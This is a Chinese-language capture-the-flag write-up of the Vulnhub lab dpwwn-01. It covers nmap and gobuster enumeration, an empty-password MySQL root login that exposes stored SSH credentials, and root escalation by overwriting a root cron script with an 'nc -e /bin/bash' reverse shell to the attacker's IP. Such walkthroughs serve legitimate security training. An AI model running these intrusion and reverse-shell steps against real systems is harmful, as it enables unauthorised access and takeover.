首页 > 其他分享 >dpwwn-01靶机笔记

dpwwn-01靶机笔记

时间:2024-08-10 17:27:46浏览次数:12  
标签:01 http 192.168 dpwwn 84.129 ssh mysql 靶机 open

dpwwn-01靶机笔记

概述

这是一台Vulnhub的靶机,主要在web方面,我们无法找到突破口时,应该怎样抉择mysql和ssh的爆破,以及弱口令的尝试。

我这里准备了连接,当然你也可去Vulnhub平台自己下载

dpwwn-01靶机:https://pan.baidu.com/s/1P5Peude95xYcsUsKd0_55w?pwd=8v4h
提取码:8v4h

一、nmap扫描

1、主机发现

# -sn只做ping扫描,不做端口扫描
sudo nmap -sn 192.168.84.1/24

看到靶机IP地址是192.168.84.129

MAC Address: 00:50:56:FA:CB:D3 (VMware)                                                                
Nmap scan report for 192.168.84.129                        
Host is up (0.00072s latency).  

2、端口扫描

-sT 以TCP全连接扫描,--min-rate 10000 以最低10000速率进行扫描,-p-进行全端口扫描,-o ports结果输出到ports文件中

sudo nmap -sT --min-rate 10000 -p- 192.168.84.129 -o ports     
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-10 03:43 EDT
Nmap scan report for 192.168.84.129
Host is up (0.00034s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
MAC Address: 00:0C:29:33:4A:85 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 4.15 seconds

提取端口

cat 查看文件 grep过滤open字符串 awk 中-F指定分隔符,打印分隔后的第一列,paste -s指定多行拼接,-d指定拼接符

cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ','

结果 22,80,139,445,3306,6667

复制给变了ports

ports=$(cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ',')

3、详细信息扫描

以-sT 以tcp, -sV探测版本, -sC以默认脚本 扫描端口 $ports,-O探测操作系统版本,输出到details文件中

sudo nmap -sT -sV -sC -p$ports -O 192.168.84.129 -o details

# 在输入完$ports按tab键会自动补全端口

sudo nmap -sT -sV -sC -p22,80,3306 -O 192.168.84.129 -o details

结果:

Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-10 03:46 EDT
Nmap scan report for 192.168.84.129
Host is up (0.00026s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 c1d3be39429d5cb4952c5b2e20590e3a (RSA)
|   256 434ac610e7177da0c0c376881d43a18c (ECDSA)
|_  256 0ecce3e1f78773a10347b9e2cf1c9315 (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Apache HTTP Server Test Page powered by CentOS
| http-methods: 
|_  Potentially risky methods: TRACE
3306/tcp open  mysql   MySQL 5.5.60-MariaDB
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.60-MariaDB
|   Thread ID: 6
|   Capabilities flags: 63487
|   Some Capabilities: Speaks41ProtocolNew, SupportsCompression, ODBCClient, SupportsTransactions, IgnoreSpaceBeforeParenthesis, LongColumnFlag, Speaks41ProtocolOld, FoundRows, ConnectWithDatabase, IgnoreSigpipes, Support41Auth, SupportsLoadDataLocal, InteractiveClient, DontAllowDatabaseTableColumn, LongPassword, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: pT5IR={v`[(QD?NJgK~Y
|_  Auth Plugin Name: mysql_native_password
MAC Address: 00:0C:29:33:4A:85 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.45 seconds

看到目标服务开启了ssh,http,mysql服务的详细信息,服务比较少。

4、默认脚本扫描

nmap --script=vuln -p22,80,3306 192.168.84.129 -o vuln
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-10 03:48 EDT
Nmap scan report for 192.168.84.129
Host is up (0.00031s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-trace: TRACE is enabled
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /info.php: Possible information file
|_  /icons/: Potentially interesting folder w/ directory listing
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 147.72 seconds

根据优先级,我们应该是先对web做渗透测试,然后依次是,mysql,ssh等

二、web渗透

我们现访问一下80端口

这是一个apache服务的默认页面,我们只能尝试目录爆破了。

gobuster dir -u http://192.168.84.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.84.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

没有发现目录,我们加上指定后缀在爆破试一试

sudo gobuster dir -u http://192.168.84.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,zip,tar,conf
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.84.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,zip,tar,conf
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/info.php             (Status: 200) [Size: 47462]
Progress: 1323360 / 1323366 (100.00%)
===============================================================
Finished
===============================================================

只有一个info.php

依然没有有用的信息

我们在目录爆破没有收获的时候,现在要怎么抉择,因为我们并没有针对性的用户名和密码字典,ssh和mysql服务都需要爆破。这时我们应该先选择爆破mysql,因为我们虽然知道爆破ssh,一旦爆破进去就会获得立足点,但是我们并不知道可能存在的用户名和密码,这将耗费我们大部分的时间去做没有收获的事情。而mysql服务有默认的root用户,我们只需要用小部分时间尝试一下弱口令,以及爆破。

综上,我们应该优先去尝试以mysql作为突破口

3、获得立足点

尝试mysql的root弱口令

mysql -uroot -h 192.168.84.129
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 1535
Server version: 5.5.60-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 

可以看到,我们直接空密码就进来了

翻找用户信息 show databases;

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| ssh                |
+--------------------+
4 rows in set (0.010 sec)

看到ssh数据库,查看一下

有users ,查看一下

MariaDB [ssh]> select * from users;
+----+----------+---------------------+
| id | username | password            |
+----+----------+---------------------+
|  1 | mistic   | testP@$$swordmistic |
+----+----------+---------------------+
1 row in set (0.000 sec)

看到了一组凭据。我们保存下来

echo "mistic:testP@\$\$swordmistic" > creds

image-20240810163510329

ssh连接

sudo ssh [email protected]

image-20240810163653638

成功获得立足点

四、提权到root

在mistic用户目录下看到logrot.sh脚本

image-20240810163821584

查看一下脚本

[mistic@dpwwn-01 ~]$ cat logrot.sh 
#!/bin/bash
#
#LOGFILE="/var/tmp"
#SEMAPHORE="/var/tmp.semaphore"


while : ; do
  read line
  while [[ -f $SEMAPHORE ]]; do
    sleep 1s
  done
  printf "%s\n" "$line" >> $LOGFILE
done

既然有这个脚本,我们先想到查看一下定时任务,是不是在运行这个脚本。

[mistic@dpwwn-01 ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

*/3 *  * * *  root  /home/mistic/logrot.sh

的确有这个定时任务,可以直接修改logrot.sh脚本来进行提权

echo "nc -e /bin/bash 192.168.84.128 4444" > logrot.sh

本地监听4444端口

nc -lvp 4444

image-20240810170632362

提权成功

拿flag

image-20240810171509011

我知道这是一个很简单的挑战,祝贺

总结

  1. 我们通过nmap扫描发现目标开启了ssh,http,mysql服务。
  2. 先对web站点进行了目录爆破,可惜一无所获。
  3. 然后就陷入了实现爆破ssh,还是mysql的窘境,因为我们并没有有力的信息,去构造有价值与针对性的字典。
  4. 因为mysql有默认的用户名root,我们选择对它尝试弱口令,成功登陆mysql,发现ssh凭据。
  5. 利用ssh凭据,成功获得立足点,在mistic用户目录下发现logrot.sh定时任务脚本。
  6. 利用定时人物脚本,反弹root权限的shell。成功拿下这台机器。

标签:01,http,192.168,dpwwn,84.129,ssh,mysql,靶机,open
From: https://www.cnblogs.com/LING5/p/18352552

相关文章

  • VS2010旗舰版VB.NET版本音频剪辑代码2024-8-10
    ImportsSystem.ComponentModelImportsSystem.IOImportsSystem.DiagnosticsImportsSystem.DrawingImportsSystem.Windows.FormsPublicClassForm1PrivateWithEventsbgWorkerAsNewBackgroundWorkerPrivateffmpegPathAsString=“C:\ffmpeg-master-lates......
  • [HDCTF2019]MFC
    第一次遇到mfc类的题目,写个blog记录一下首先了解一下什么是mfc,百度百科上是这么写的:MFC(MicrosoftFoundationClasses),是微软公司提供的一个类库(classlibraries),以C++类的形式封装了Windows的API,并且包含一个应用程序框架,以减少应用程序开发人员的工作量。其中包含的类包含大......
  • Ubuntu 通过 docker 安装 Nginx 镜像 + 创建并运行 nginx01 容器
    一、安装nginx:精简版镜像1.查找有什么类型的nginx镜像yammie@my-pc>/home/yammie$dockersearchnginx2.下载精简版nginx镜像yammie@my-pc>/opt$dockerpullnginx:alpinealpine:Pullingfromlibrary/nginx46b060cc2620:Alreadyexists21af147d2ad5:......
  • Lazysysadmin靶机笔记
    Lazysysadmin靶机笔记概述lazysysadmin是一台Vulnhub靶机,整体比较简单,要对一些存在服务弱口令比较敏感。靶机地址:https://pan.baidu.com/s/19nBjhMpGkdBDBFSnMEDfOg?pwd=heyj提取码:heyj一、nmap扫描1、主机发现#-sn只做ping扫描,不做端口扫描sudonmap-sn192.168.247.1......
  • ABC201E Xor Distances 题解
    ABC201EXorDistances题解题目大意给定一个带权树,求树上每两点的简单路径上的边权的异或和的和。形式化的,定义\(dis(i,j)\)为\(i\)到\(j\)的简单路径上的边权的异或和,求\(\large\sum\limits_{i=1}^n\sum\limits_{j=i+1}^n\text{dis}(i,j)\)。Solve令\(\largef(u)=......
  • P2168 [NOI2015] 荷马史诗
    题意给定一个字符串\(s\)和整数\(k\)。求:1.k叉哈夫曼树的带权路径之和;2.求合法的哈夫曼树中,最小的高度是多少。思路按照普通二叉哈夫曼树对其进行编码,将其转化为\(k\)叉哈夫曼树。编码有可能出现合并到根节点的时候不足\(k\)个结点,这会造成结果不优,所以我们可以补......
  • 0001初识MySQL
    ##内容参考网课##笔记整理一,数据库基础知识1.数据库概念英文名称:Database,即存储数据的仓库;专业解释为存储在计算机磁盘上的有组织,可供享的大量数据的集合 类型关系数据库与非关系数据库两类,前者包含MySQL,Oracle,SQL,Server,SQLite等,后者包含Redis,MongoDB等数据库管理系......
  • AGC001 题解
    目录A-BBQEasyB-MysteriousLightC-ShortenDiameterA-BBQEasy先将\(2N\)个数排序,从大到小考虑,最大的数一定不会产生贡献,次大的数可以和最大的数捆绑在一起,并产生贡献,以此类推,这样的贪心正确性还是较为显然的。#include<bits/stdc++.h>#definelllonglongusin......
  • Datawhale AI夏令营第四期 魔搭-AIGC方向 task01笔记
    DatawhaleAI夏令营第四期魔搭-AIGC方向task01笔记提示词提示词很重要,一般写法:主体描述,细节描述,修饰词,艺术风格,艺术家举个例子【promts】Beautifulandcutegirl,smiling,16yearsold,denimjacket,gradientbackground,softcolors,softlighting,cinematicedge......
  • [米联客-安路飞龙DR1-FPSOC] UDP通信篇连载-01 以太网协议介绍
    软件版本:Anlogic-TD5.9.1-DR1_ES1.1操作系统:WIN1064bit硬件平台:适用安路(Anlogic)FPGA实验平台:米联客-MLK-L1-CZ06-DR1M90G开发板板卡获取平台:https://milianke.tmall.com/登录"米联客"FPGA社区http://www.uisrc.com视频课程、答疑解惑! ​1概述本文介绍了基于XILIN......